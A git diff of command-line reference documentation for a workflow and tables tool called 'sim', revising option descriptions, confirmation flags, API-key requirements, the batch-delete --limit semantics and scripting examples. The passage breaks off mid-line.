to delete. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3127,7 +3127,7 @@ sim tables groups delete [options] | Option | Required | Description | | --- | --- | --- | | `--group-id ` | Yes | Workflow group to delete. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3203,8 +3203,8 @@ sim tables batch-delete [options] | Option | Required | Description | | --- | --- | --- | | `--table-ids ` | No | Tables to archive, by identifier. (JSON, or @path / @- to read a file or stdin). | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3290,7 +3290,7 @@ sim tables rows delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3319,9 +3319,9 @@ sim tables rows batch-delete [options] | Option | Required | Description | | --- | --- | --- | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | -| `--row ` | No | Explicit row identifiers to delete. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--limit ` | No | Maximum matching rows to delete. (caps a --filter match only; omit it to act on every match, and note 0 is not accepted). | +| `--row ` | No | Explicit row identifiers to delete. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3521,8 +3521,8 @@ sim tables rows batch-update [options] | --- | --- | --- | | `--filter ` | Yes | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | | `--data ` | Yes | Row-data patch applied to every matching row. (JSON, or @path / @- to read a file or stdin). | -| `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--limit ` | No | Maximum matching rows to update. (caps a --filter match only; omit it to act on every match, and note 0 is not accepted). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3580,7 +3580,7 @@ sim tables dispatches cancel [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3608,11 +3608,11 @@ sim tables dispatches create [options] | Option | Required | Description | | --- | --- | --- | -| `--group-ids ` | Yes | Workflow or enrichment groups to run. (space-separated, or @path / @- with one value per line). | +| `--group-ids ` | Yes | Workflow or enrichment groups to run. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--run-mode ` | No | Whether to run all or only incomplete cells. Accepted values: `all`, `incomplete`. | -| `--row-ids ` | No | Explicit row subset to run. (space-separated, or @path / @- with one value per line). | +| `--row-ids ` | No | Explicit row subset to run. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--exclude-row-ids ` | No | Rows excluded from a select-all run scope. (space-separated, or @path / @- with one value per line). | +| `--exclude-row-ids ` | No | Rows excluded from a select-all run scope. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--max-rows ` | No | Stop after this many eligible rows have run (1-1,000,000). Omit for an unbounded run. | @@ -3656,7 +3656,7 @@ sim tables dispatches list ### sim tables exports cancel -Cancel Table Export +Stop a running export ```bash sim tables exports cancel @@ -3741,10 +3741,10 @@ sim tables exports download ### sim tables imports cancel -Cancel Table Import +Stop a running import ```bash -sim tables imports cancel +sim tables imports cancel [options] ``` **Arguments** @@ -3757,6 +3757,16 @@ sim tables imports cancel +**Options** + + + +| Option | Required | Description | +| --- | --- | --- | +| `-y, --yes` | Yes | Confirm this operation. | + + + ### sim tables imports get Get Table Import @@ -3802,8 +3812,8 @@ sim tables cancel-runs [options] | `--scope ` | Yes | Whether to cancel across the table or one row. Accepted values: `all`, `row`. | | `--row-id ` | No | Row whose runs should be canceled for row scope. | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--exclude-row-ids ` | No | Rows excluded from an all-scope cancellation. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--exclude-row-ids ` | No | Rows excluded from an all-scope cancellation. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3871,13 +3881,13 @@ sim tables folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim tables folders list -List Folders +List table folders ```bash sim tables folders list [options] @@ -3991,7 +4001,7 @@ sim tables views delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -4089,7 +4099,7 @@ sim tables delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -4145,7 +4155,7 @@ sim tables list [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a `DELETE` archived and `POST /tables/{tableId}/restore` can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a delete archived and a table restore can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--search ` | No | Case-insensitive substring match against the resource name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `createdAt`, `updatedAt`. | @@ -4169,7 +4179,7 @@ sim tables move [options] | Option | Required | Description | | --- | --- | --- | | `--table-ids ` | No | Tables to move, by identifier. (JSON, or @path / @- to read a file or stdin). | -| `--folder ` | No | Table folders to move, by path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | +| `--folder ` | No | Table folders to move, by path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | No | Destination folder path; omit for root. | @@ -4265,7 +4275,7 @@ sim tables upsert [options] | Option | Required | Description | | --- | --- | --- | -| `--data ` | Yes | Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike the merging `PATCH /api/v2/tables/{tableId}/rows/{rowId}`. (JSON, or @path / @- to read a file or stdin). | +| `--data ` | Yes | Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike a single-row update, which merges. (JSON, or @path / @- to read a file or stdin). | | `--on ` | No | Unique column to resolve the conflict against. | @@ -4302,6 +4312,7 @@ sim tables import [path] [options] | `--mapping ` | No | Column mapping (--table-id only). | | `--create-columns ` | No | Columns to create (--table-id only). | | `--timezone ` | No | Timezone for date parsing, e.g. America/New_York. | +| `-y, --yes` | No | Confirm this destructive operation (required with --mode replace). | | `--no-wait` | No | Return once the import is queued instead of watching it. | @@ -4400,7 +4411,7 @@ sim tools list [options] ### sim workflow-mcp-servers create -Create Workflow MCP Server +Create Workflow MCP Server (personal API key required) ```bash sim workflow-mcp-servers create [options] @@ -4416,13 +4427,13 @@ sim workflow-mcp-servers create [options] | `--description ` | No | Optional server description. | | `--is-public` | No | Whether the server answers MCP clients without a Sim API key. Defaults to false — a public server executes the workflows it publishes for anyone holding its URL. | | `--no-is-public` | No | Send --is-public as false. | -| `--workflow ` | No | Deployed workflows to publish as tools on the new server. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Deployed workflows to publish as tools on the new server. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | ### sim workflow-mcp-servers delete -Delete Workflow MCP Server +Delete Workflow MCP Server (personal API key required) ```bash sim workflow-mcp-servers delete [options] @@ -4444,13 +4455,13 @@ sim workflow-mcp-servers delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflow-mcp-servers tools create -Publish Workflow As MCP Tool +Publish Workflow As MCP Tool (personal API key required) ```bash sim workflow-mcp-servers tools create [options] @@ -4481,7 +4492,7 @@ sim workflow-mcp-servers tools create [options] ### sim workflow-mcp-servers tools list -List Workflow MCP Tools +List Workflow MCP Tools (personal API key required) ```bash sim workflow-mcp-servers tools list @@ -4499,7 +4510,7 @@ sim workflow-mcp-servers tools list ### sim workflow-mcp-servers tools delete -Unpublish Workflow MCP Tool +Unpublish Workflow MCP Tool (personal API key required) ```bash sim workflow-mcp-servers tools delete [options] @@ -4522,13 +4533,13 @@ sim workflow-mcp-servers tools delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflow-mcp-servers get -Get Workflow MCP Server +Get Workflow MCP Server (personal API key required) ```bash sim workflow-mcp-servers get @@ -4546,7 +4557,7 @@ sim workflow-mcp-servers get ### sim workflow-mcp-servers list -List Workflow MCP Servers +List Workflow MCP Servers (personal API key required) ```bash sim workflow-mcp-servers list [options] @@ -4566,7 +4577,7 @@ sim workflow-mcp-servers list [options] ### sim workflow-mcp-servers update -Update Workflow MCP Server +Update Workflow MCP Server (personal API key required) ```bash sim workflow-mcp-servers update [options] @@ -4601,7 +4612,7 @@ Also spelled `sim workflow`. ### sim workflows activate create -Activate Workflow Version +Activate Workflow Version (personal API key required) ```bash sim workflows activate create @@ -4620,7 +4631,7 @@ sim workflows activate create ### sim workflows operations apply -Apply Workflow Operations +Apply Workflow Operations (personal API key required) ```bash sim workflows operations apply [options] @@ -4644,12 +4655,12 @@ sim workflows operations apply [options] | --- | --- | --- | | `--dry-run` | No | Validate and lint without persisting. The response is identical to the committed write of the same body, so a caller can inspect `lint` and then re-send the request for real. Nothing is written, no audit entry is recorded, and collaborators are not notified. | | `--no-dry-run` | No | Send --dry-run as false. | -| `--operations ` | Yes | Edits to apply, in a single batch, keyed by operation_type: [{"operation_type":"add","block_id":"my-fn","params":{"type":"function","name":"My Fn","inputs":{"code":"return {ok:true}"}}},{"operation_type":"edit","block_id":"<uuid>","params":{"name":"Renamed","connections":{"success":"my-fn"}}},{"operation_type":"delete","block_id":"<uuid>"}]. Also insert_into_subflow and extract_from_subflow, whose params carry {"subflowId":"<loop-id>"} (JSON, or @path / @- to read a file or stdin). | +| `--operations ` | Yes | Edits to apply, in a single batch, keyed by operation_type: [{"operation_type":"add","block_id":"my-fn","params":{"type":"function","name":"My Fn","inputs":{"code":"return {ok:true}"}}},{"operation_type":"edit","block_id":"<uuid>","params":{"name":"Renamed","connections":{"success":"my-fn"}}},{"operation_type":"delete","block_id":"<uuid>"}]. Also extract_from_subflow, whose params carry {"subflowId":"<loop-id>"}, and insert_into_subflow, which creates a block and so takes an add’s params plus that subflowId (JSON, or @path / @- to read a file or stdin). | | `--atomic` | No | Fail the whole batch when any operation is declined or any block input would be dropped. The default applies what it can and reports the rest in `skipped` and `inputValidationErrors`; `true` writes nothing and answers `409` instead. | | `--no-atomic` | No | Send --atomic as false. | | `--layout ` | No | Whether to reposition blocks the batch touched. `targeted` (default) nudges only the affected subgraph; `none` leaves every position exactly as supplied. Accepted values: `targeted`, `none`. | | `--set-block-enabled ` | No | Blocks to enable or disable, applied after --operations: [{"block_id":"<uuid>","enabled":false}]. Disabling a loop or parallel cascades to its unlocked descendants; enabling a block whose container is disabled is declined (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | No | Confirm this destructive operation (required unless --dry-run). | +| `-y, --yes` | No | Confirm this operation (required unless --dry-run). | @@ -4678,7 +4689,7 @@ sim workflows variables update [options] | Option | Required | Description | | --- | --- | --- | | `--operations ` | Yes | Variable changes to apply in order, keyed by operation: [{"operation":"add","name":"my_var","type":"string","value":"hello"},{"operation":"edit","name":"my_var","value":"updated"},{"operation":"delete","name":"my_var"}] (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -4736,7 +4747,7 @@ sim workflows runs get [options] | --- | --- | --- | | `--workflow ` | Yes | Workflow ID. | | `--include-output` | No | Include the final output in JSON or YAML output. | -| `--select-output ` | No | Include blockName.field values in JSON or YAML output (e.g. agent_1.content) (space-separated, or @path / @- with one value per line). | +| `--select-output ` | No | Include blockId or blockId.path values in JSON or YAML output; block names are not resolved on a finished run (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--include-file-base64` | No | Inline each produced file's bytes as base64. Requires `includeOutput`. A file above the inline ceiling answers `413` naming its download path; fetch large files from `downloadPath` instead. | | `--no-include-file-base64` | No | Send --include-file-base64 as false. | | `--base64-max-bytes ` | No | Per-file inline ceiling, lowering but never raising the server limit of 16 MiB. | @@ -4889,13 +4900,13 @@ sim workflows folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows folders list -List Workflow Folders +List workflow folders ```bash sim workflows folders list [options] @@ -4961,13 +4972,13 @@ sim workflows delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows chat unpublish -Take a workflow’s chat deployment offline +Take a workflow’s chat deployment offline (personal API key required) ```bash sim workflows chat unpublish [options] @@ -4989,13 +5000,13 @@ sim workflows chat unpublish [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows chat status -Show a workflow’s chat deployment +Show a workflow’s chat deployment (personal API key required) ```bash sim workflows chat status @@ -5013,7 +5024,7 @@ sim workflows chat status ### sim workflows chat publish -Publish or replace a workflow’s chat deployment +Publish or replace a workflow’s chat deployment (personal API key required) ```bash sim workflows chat publish [options] @@ -5047,13 +5058,13 @@ sim workflows chat publish [options] | `--no-include-thinking` | No | Send --include-thinking as false. | | `--include-tool-calls` | No | Allow visitors to receive tool lifecycle events. | | `--no-include-tool-calls` | No | Send --include-tool-calls as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows deploy -Deploy Workflow +Deploy Workflow (personal API key required) ```bash sim workflows deploy [options] @@ -5136,7 +5147,7 @@ sim workflows run [options] | `--input ` | No | Trigger input as JSON (JSON, or @path / @- to read a file or stdin). | | `--async` | No | Queue the run and return immediately. | | `--execution-timeout-seconds ` | No | Requested server-side timeout for an asynchronous run, in seconds. An upper bound, not the effective timeout: the run uses the smaller of this value and the plan's execution timeout, so requesting more than the plan allows silently yields the plan timeout. Rejected with `400` unless `async` is true. | -| `--select-output ` | No | Return blockName.field values (e.g. agent_1.content); missing fields are omitted (space-separated, or @path / @- with one value per line). | +| `--select-output ` | No | Return blockName.field values from the streamed result (e.g. agent_1.content), requires --follow; missing fields are omitted (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--include-file-base64` | No | Inline eligible output files as base64 content. Rejected when `async` is true. | | `--no-include-file-base64` | No | Send --include-file-base64 as false. | | `--base64-max-bytes ` | No | Maximum total bytes of file content to inline as base64, lowering but never raising the server limit of 16 MiB. Rejected when `async` is true. | @@ -5208,7 +5219,7 @@ sim workflows deployment status ### sim workflows deployment update -Update Workflow Public API Access +Update Workflow Public API Access (personal API key required) ```bash sim workflows deployment update [options] @@ -5254,7 +5265,7 @@ sim workflows state get ### sim workflows state replace -Replace Workflow State +Replace Workflow State (personal API key required) ```bash sim workflows state replace [options] @@ -5283,7 +5294,7 @@ sim workflows state replace [options] | `--loops ` | No | Ignored on write: loop containers are recomputed from `blocks`. (JSON, or @path / @- to read a file or stdin). | | `--parallels ` | No | Ignored on write: parallel containers are recomputed from `blocks`. (JSON, or @path / @- to read a file or stdin). | | `--variables ` | No | Replacement variable set. Omit to leave the stored variables untouched. (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | No | Confirm this destructive operation (required unless --dry-run). | +| `-y, --yes` | No | Confirm this operation (required unless --dry-run). | @@ -5399,7 +5410,7 @@ sim workflows list [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. The folder filter resolves against active folders only, so pairing it with `archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--deployed-only` | No | Return only workflows with an active deployment when true. | | `--no-deployed-only` | No | Send --deployed-only as false. | @@ -5424,7 +5435,7 @@ sim workflows move [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | Yes | Workflows to move. Duplicates are collapsed. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | Yes | Workflows to move. Duplicates are collapsed. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | Yes | Destination folder path; / moves the workflows to the workspace root. | @@ -5449,7 +5460,7 @@ sim workflows restore ### sim workflows revert create -Revert Workflow To Version +Revert Workflow To Version (personal API key required) ```bash sim workflows revert create [options] @@ -5472,13 +5483,13 @@ sim workflows revert create [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows rollback -Rollback Workflow +Rollback Workflow (personal API key required) ```bash sim workflows rollback [options] @@ -5501,13 +5512,13 @@ sim workflows rollback [options] | Option | Required | Description | | --- | --- | --- | | `--to-version ` | No | Deployment version to reactivate. Omit to select the previous active version. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows undeploy -Take a workflow out of deployment +Take a workflow out of deployment (personal API key required) ```bash sim workflows undeploy [options] @@ -5529,7 +5540,7 @@ sim workflows undeploy [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | diff --git a/apps/docs/content/docs/en/cli/scripting.mdx b/apps/docs/content/docs/en/cli/scripting.mdx index 32be39572b9..af4dc93cce9 100644 --- a/apps/docs/content/docs/en/cli/scripting.mdx +++ b/apps/docs/content/docs/en/cli/scripting.mdx @@ -14,7 +14,7 @@ to read stdin. ```bash sim workflows import --workflow @wf.json -sim tables rows query tbl_123 --filter @filter.json +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --filter @filter.json cat wf.json | sim workflows import --workflow @- ``` @@ -24,20 +24,34 @@ Primitive lists take space-separated values. With `@`, the file supplies one value per line: ```bash -sim files mv --file-ids file_1 file_2 --to Archive +sim files mv --file-ids wf_3Qm8ZtLpR2yVnKd7BsXwC wf_5Hn1JvTqW9xUcMb4RzPgL --to Archive sim files mv --file-ids @file-ids.txt --to Archive -printf 'file_1\nfile_2\n' | sim files mv --file-ids @- --to Archive +printf 'wf_3Qm8ZtLpR2yVnKd7BsXwC\nwf_5Hn1JvTqW9xUcMb4RzPgL\n' | sim files mv --file-ids @- --to Archive ``` Arrays of objects stay JSON. +## Passing a literal leading `@` + +Because `@` introduces a file reference, a value that genuinely starts with one +is written `@@`. Only the leading `@` is dropped, and every `@`-aware flag +accepts the escape: + +```bash +sim files share set wf_3Qm8ZtLpR2yVnKd7BsXwC --allowed-emails @@example.org +sim secrets set API_HOST --value @@internal +``` + +Without it, `--allowed-emails @example.org` can only be read as a request to +open a file named `example.org`. + ## Filtering table rows `--filter` takes the same predicate tree the API uses: `all` (AND) or `any` (OR) groups of `{field, op, value}` conditions, nestable. ```bash -sim tables rows query tbl_123 \ +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 \ --filter '{"all":[{"field":"status","op":"eq","value":"open"}, {"field":"score","op":"gt","value":10}]}' \ --limit 50 @@ -50,7 +64,7 @@ Operators: `eq`, `ne`, `gt`, `gte`, `lt`, `lte`, `in`, `nin`, `contains`, `--sort` is also JSON, an ordered list of keys: ```bash -sim tables rows query tbl_123 --sort '[{"field":"createdAt","direction":"desc"}]' +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --sort '[{"field":"createdAt","direction":"desc"}]' ``` ## Pagination @@ -68,16 +82,18 @@ Deletions require an explicit selector **and** `--yes`. There is no "delete everything" default: ```bash -sim tables rows batch-delete tbl_123 --row row_1 row_2 --yes -sim files delete file_123 --yes +sim tables rows batch-delete tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --row row_2f81c0a94db54e6f8a13c7e0526bd94a row_6b3e59d0af1c42d7b80e94f3a271c568 --yes +sim files delete wf_8Kd2NpVrY6zTfQa3XwBmS --yes ``` Without `--yes` the command explains what it would have destroyed and stops. -`batch-delete` and `batch-update` carry the default `--limit` of `100`, so a -filter matching more rows than that silently affects only the first 100. Pass -`--limit 0` to affect every matching row. +On `batch-delete` and `batch-update`, `--limit` has no default and is not a page +size — it is a ceiling on how many matching rows the one call may touch. Leave it +off and the command acts on **every** row the filter matches, however many that +is. `--limit 0` is not the unbounded form here and is rejected; pass a whole +number of 1 or more to cap the blast radius, or omit the flag deliberately. ## Exit codes @@ -92,7 +108,7 @@ Errors print one line to stderr, prefixed `Error:`, plus the API's error code an validation details when it supplies them. Failures are safe to branch on: ```bash -if ! sim workflows run wf_7Yb2 --output json > result.json; then +if ! sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --output json > result.json; then echo "run failed" >&2 exit 1 fi @@ -117,11 +133,23 @@ esac ## Selecting workflow output -`--select-output` takes `blockName.field` selectors. Fields that a run did not -produce are simply omitted: +`--select-output` shapes a streamed result, so it requires `--follow`. It takes +`blockName.field` selectors; fields that a run did not produce are simply +omitted: + +```bash +sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --follow --select-output agent_1.content --output json +``` + +Without `--follow` the CLI refuses the pair rather than spending a request on a +response that carries no outputs, and `--async` cannot be combined with it +either — there is no stream to shape. To narrow a run that has already finished, +read it back with `workflows runs get`, which matches block **ids** rather than +the block names `workflows run` takes: ```bash -sim workflows run wf_7Yb2 --select-output agent_1.content --output json +sim workflows runs get "$run_id" --workflow 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 \ + --select-output 1d4c8f02-7b63-4a19-8e52-63f0a7c5d9b1.content --output json ``` ## Polling a long run @@ -129,9 +157,9 @@ sim workflows run wf_7Yb2 --select-output agent_1.content --output json Start the run asynchronously, then poll its status: ```bash -run_id=$(sim workflows run wf_7Yb2 --async --output json | jq -r '.runId') +run_id=$(sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --async --output json | jq -r '.runId') -until sim workflows runs get "$run_id" --workflow wf_7Yb2 --output json \ +until sim workflows runs get "$run_id" --workflow 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --output json \ | jq -e '.status | IN("completed","failed","cancelled")' > /dev/null; do sleep 5 done @@ -169,9 +197,9 @@ export SIM_API_KEY="${SIM_API_KEY:?missing}" export SIM_WORKSPACE="${SIM_WORKSPACE:?missing}" export SIM_OUTPUT=json -run_id=$(sim workflows run wf_7Yb2 --input '{"source":"nightly"}' | jq -r '.runId') +run_id=$(sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --input '{"source":"nightly"}' | jq -r '.runId') -if [ "$(sim workflows runs get "$run_id" --workflow wf_7Yb2 | jq -r '.status')" != "completed" ]; then +if [ "$(sim workflows runs get "$run_id" --workflow 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 | jq -r '.status')" != "completed" ]; then sim logs get "$run_id" >&2 exit 1 fi diff --git a/apps/docs/content/docs/en/cli/secrets.mdx b/apps/docs/content/docs/en/cli/secrets.mdx index 9971d7eb1ab..f9bbbdb2cdb 100644 --- a/apps/docs/content/docs/en/cli/secrets.mdx +++ b/apps/docs/content/docs/en/cli/secrets.mdx @@ -15,13 +15,15 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim secrets delete [options] ``` +Delete Secret (personal API key required) + **Arguments** | Argument | Required | Description | | --- | --- | --- | -| `name` | Yes | Secret to create, replace, or delete. | +| `name` | Yes | Secret to delete. | @@ -32,7 +34,7 @@ sim secrets delete [options] | Option | Required | Description | | --- | --- | --- | | `--scope ` | Yes | Whether the secret belongs to the workspace or to the caller. A personal secret belongs to the caller across every workspace, not to one workspace. Accepted values: `workspace`, `personal`. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -42,6 +44,8 @@ sim secrets delete [options] sim secrets list [options] ``` +List Secrets (personal API key required) + **Options** @@ -62,6 +66,8 @@ sim secrets list [options] sim secrets set [options] ``` +Create or replace a named secret (personal API key required) + **Arguments** diff --git a/apps/docs/content/docs/en/cli/skills.mdx b/apps/docs/content/docs/en/cli/skills.mdx index e6ffe5dc906..77d928a5ead 100644 --- a/apps/docs/content/docs/en/cli/skills.mdx +++ b/apps/docs/content/docs/en/cli/skills.mdx @@ -15,6 +15,8 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim skills create [options] ``` +Create Skill (personal API key required) + **Options** @@ -33,6 +35,8 @@ sim skills create [options] sim skills delete [options] ``` +Delete Skill (personal API key required) + **Arguments** @@ -49,7 +53,7 @@ sim skills delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -75,6 +79,8 @@ sim skills get sim skills editors create [options] ``` +Grant Skill Editor (personal API key required) + **Arguments** @@ -129,6 +135,8 @@ sim skills editors list [options] sim skills editors delete [options] ``` +Revoke Skill Editor (personal API key required) + **Arguments** @@ -146,7 +154,7 @@ sim skills editors delete [options] | Option | Required | Description | | --- | --- | --- | | `--email ` | Yes | Email address of a current workspace member. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -175,6 +183,8 @@ sim skills list [options] sim skills update [options] ``` +Update Skill (personal API key required) + **Arguments** diff --git a/apps/docs/content/docs/en/cli/tables.mdx b/apps/docs/content/docs/en/cli/tables.mdx index a3804a0beab..f7d5b11166a 100644 --- a/apps/docs/content/docs/en/cli/tables.mdx +++ b/apps/docs/content/docs/en/cli/tables.mdx @@ -58,7 +58,7 @@ sim tables columns delete [options] | Option | Required | Description | | --- | --- | --- | | `--column-name ` | Yes | Name of the column to delete. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -141,7 +141,7 @@ sim tables groups delete [options] | Option | Required | Description | | --- | --- | --- | | `--group-id ` | Yes | Workflow group to delete. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -211,8 +211,8 @@ sim tables batch-delete [options] | Option | Required | Description | | --- | --- | --- | | `--table-ids ` | No | Tables to archive, by identifier. (JSON, or @path / @- to read a file or stdin). | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -292,7 +292,7 @@ sim tables rows delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -319,9 +319,9 @@ sim tables rows batch-delete [options] | Option | Required | Description | | --- | --- | --- | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | -| `--row ` | No | Explicit row identifiers to delete. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--limit ` | No | Maximum matching rows to delete. (caps a --filter match only; omit 